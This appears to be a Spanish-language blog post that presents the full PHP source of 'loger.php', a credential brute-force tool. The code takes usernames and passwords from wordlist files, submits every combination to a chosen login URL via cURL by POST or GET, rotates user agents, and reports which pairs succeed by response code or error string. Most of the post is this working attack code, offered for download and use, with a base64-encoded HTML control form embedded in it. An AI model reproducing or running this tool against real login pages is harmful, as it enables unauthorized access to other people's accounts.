requisitos:
recuerden tener el curl activado en el php.ini
características:
- prueba usuario a usuario con todas las passwords posibles
- puedes definir si detectar errores al loggearse de 2 modos
- métodos de envio de datos POST y GET
- librería cURL
pueden descargar un ejemplo con los siguientes archivos aqui:
loger.phpusuarios.txt
password.txt
user-agent.txt
EjemploGET.php
EjemploPOST.php
Codigo del loger.php
<?php /******************************\ ****** * * * * RM * * * * ****** ***** * Desarrollado por * ***** ***** * * MichBukana * * * ***** ***** * * * 04/01/12 * * * ***** ******* * * * * * * * * * ****** \******************************/ /**--------------------------**\ /**code-disaster.blogspot.com**/ /**+++ indetectables.net ++++**/ /**++++++ udtools.net +++++++**/ /**--------------------------**\ /*michbukana@indetectables.net*/ /**__________________________**\ /******************************/ error_reporting(0); echo base64_decode('PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl eHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7Y29sb3I6Z3Jl ZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9Cmgxe2NvbG9yOnJlZDt9Cjwvc3R5bGU+CgoKCiAg ICA8c2NyaXB0PgogICAgCgogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8yKCl7CiAgICAgICAgYyA9 IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJNb2RvIik7CiAgICAgICAgaWYoY1swXS5zZWxlY3Rl ZD09dHJ1ZSl7CiAgICAgICAgICAgIGZvcm11LkJhZF9TLmRpc2FibGVkPXRydWU7Zm9ybXUuQ29k ZV9SLmRpc2FibGVkPWZhbHNlOyAgICAgICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgICAg ICBmb3JtdS5CYWRfUy5kaXNhYmxlZD1mYWxzZTtmb3JtdS5Db2RlX1IuZGlzYWJsZWQ9dHJ1ZTsK ICAgICAgICB9CiAgICB9CgogICAgPC9zY3JpcHQ+CjxjZW50ZXI+CjxiciAvPjxoMT5CcnV0ZSBm b3JjZSBBdHRhY2s8L2gxPjxiciAvPjxiciAvPgoKPGZvcm0gbmFtZT1mb3JtdSBtZXRob2Q9IlBP U1QiIGFjdGlvbj0iIj4KICAgIAogICAgICAgIFVSTCBkZWwgbG9naW4gZG9uZGUgc2UgdmEgYSBh dGFjYXI8YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXJsX2xvZyB2YWx1ZT0n aHR0cDovL2NvZGUtZGlzYXN0ZXIuYmxvZ3Nwb3QuY29tL2FkbWluLnBocCcgc2l6ZT04MD48L2lu cHV0PjxiciAvPgogICAgICAgIE3pdG9kbyBkZSBlbnZpbyBkZSBkYXRvcyBIVFRQCiAgICAgICAg PHNlbGVjdCBpZD0nTWV0b2RvJyBuYW1lPU1ldG9kbyA+CiAgICAgICAgICAgIDxvcHRpb24+UE9T VDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uPkdFVDwvb3B0aW9uPgogICAgICAgIDwvc2Vs ZWN0PjxiciAvPgogICAgICAgIDxociB3aWR0aD0iNzUlIiAvPgogICAgICAgIE1vZG8gZGUgY2Fw dGFjaW9uIGRlIGVycm9yZXMKICAgICAgICA8c2VsZWN0IGlkPSdNb2RvJyBuYW1lPU1vZG8gb25j aGFuZ2U9ImNhbWJpbzIoKSI+CiAgICAgICAgICAgIDxvcHRpb24gPjE8L29wdGlvbj4KICAgICAg ICAgICAgPG9wdGlvbiA+Mjwvb3B0aW9uPgogICAgICAgIDwvc2VsZWN0PjxiciAvPgogICAgICAg IE1vZG8gMTogQ29kaWdvIGRlIHJlc3B1ZXN0YQogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFt ZT1Db2RlX1IgdmFsdWU9MzAyIHNpemU9MT48L2lucHV0PjxiciAvPgogICAgICAgIE1vZG8gMjog cGFydGUgZGUgbGEgc3RyaW5nIGRldnVlbHRhIGVuIGNhc28gZGUgZXJyb3IKICAgICAgICA8aW5w dXQgdHlwZT10ZXh0IG5hbWU9QmFkX1MgZGlzYWJsZWQ9ZGlzYWJsZWQgdmFsdWU9aW5jb3JyZWN0 b3M+PC9pbnB1dD48YnIgLz4KICAgICAgICA8aHIgd2lkdGg9Ijc1JSIgLz4KICAgICAgICBBcmNo aXZvIGRlIHVzdWFyaW9zIGV4dHJhaWRvcwogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1h cmNoaXZvVSB2YWx1ZT11c3Vhcmlvcy50eHQ+PC9pbnB1dD48YnIgLz4KICAgICAgICBBcmNoaXZv IGRlIHBhc3N3b3JkcyBleHRyYWlkYXMKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJj aGl2b1AgdmFsdWU9cGFzc3dvcmQudHh0PjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgPGhyIHdpZHRo PSI3NSUiIC8+CiAgICAgICAgbm9tYnJlIGRlIGxhIHZhcmlhYmxlIGRlbCBlbnZpbyBkZWwgdXN1 YXJpbyAibG9naW4ucGhwPyd1c3VhcmlvJz14eHgiCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBu YW1lPWNhbXBvMSB2YWx1ZT0nJz48L2lucHV0PjxiciAvPgogICAgICAgIG5vbWJyZSBkZSBsYSB2 YXJpYWJsZSBkZWwgZW52aW8gZGUgbGEgcGFzc3dvcmQgImxvZ2luLnBocD8ncGFzc3dvcmQnPXh4 eCIKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2FtcG8yIHZhbHVlPScnPjwvaW5wdXQ+ PGJyIC8+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgICAgICBMYW56 YXIgICAgICAnPC9pbnB1dD4KPC9mb3JtPg=='); //mode 1: comprobar user y pass que sean correctas a partir del código de respuesta //Code_Responde: codigo de respuesta en caso correcto //mode 2: comporbar user y pass que sean correctas a partir de una parte de la string devuelta en caso de error. //Ejemplo: "datos introducidos incorrectos" pues por ejemplo "incorrectos" //Bad_String: la string de la que se habla en el mode 2 //metodo: POST o GET //campos1 y 2: son los campos que se envian estos hay que definirlos en caso de que se envie el formulario via GET /*---------------------------------------------------------------------------------*/ $url_login = $_POST['url_log']; $metodo = $_POST['Metodo']; $mode = $_POST['Modo']; $archivoUsuarios = $_POST['archivoU']; $archivoPasswords = $_POST['archivoP']; /*---------------------------------------------------------------------------------*/ if(strlen($mode)> 0)echo 'Resultado
'; if($mode==1) $Code_Responde = $_POST['Code_R']; if($mode==2) $Bad_String = $_POST['Bad_S']; $campo1 = $_POST['campo1']; $campo2 = $_POST['campo2']; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,true); curl_setopt ($ch, CURLOPT_HTTPGET, true); $user_agent = file_get_contents('user-agent.txt'); $user = file_get_contents($archivoUsuarios); $pass = file_get_contents($archivoPasswords); preg_match_all('|(.*)\n|U',$user_agent,$U_A); preg_match_all('|(.*)\n|U',$user,$usuario); preg_match_all('|(.*)\n|U',$pass,$password); for($i=0;$i< count($usuario[1]);$i++){ for($j=0;$j< count($password[1]);$j++){ curl_setopt($ch, CURLOPT_USERAGENT, $U_A[1][$j]); if($metodo == "POST"){ curl_setopt ($ch, CURLOPT_POST, true); curl_setopt ($ch, CURLOPT_POSTFIELDS, $campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]); curl_setopt($ch, CURLOPT_URL, $url_login); } if($metodo == "GET"){ $url_login2 = $url_login; $url_login2=$url_login."?".$campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]; curl_setopt($ch, CURLOPT_URL, $url_login2); } $result = curl_exec($ch); //código de respuesta 302 en caso de introducir datos correctos $saltolinea = base64_decode('PGJyIC8+'); if($mode==1) if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302" && strpos($result,'PHPSESSID')) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; if($mode==2) if(strpos($result, $Bad_String)===false ) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; } } ?>
No hay comentarios:
Publicar un comentario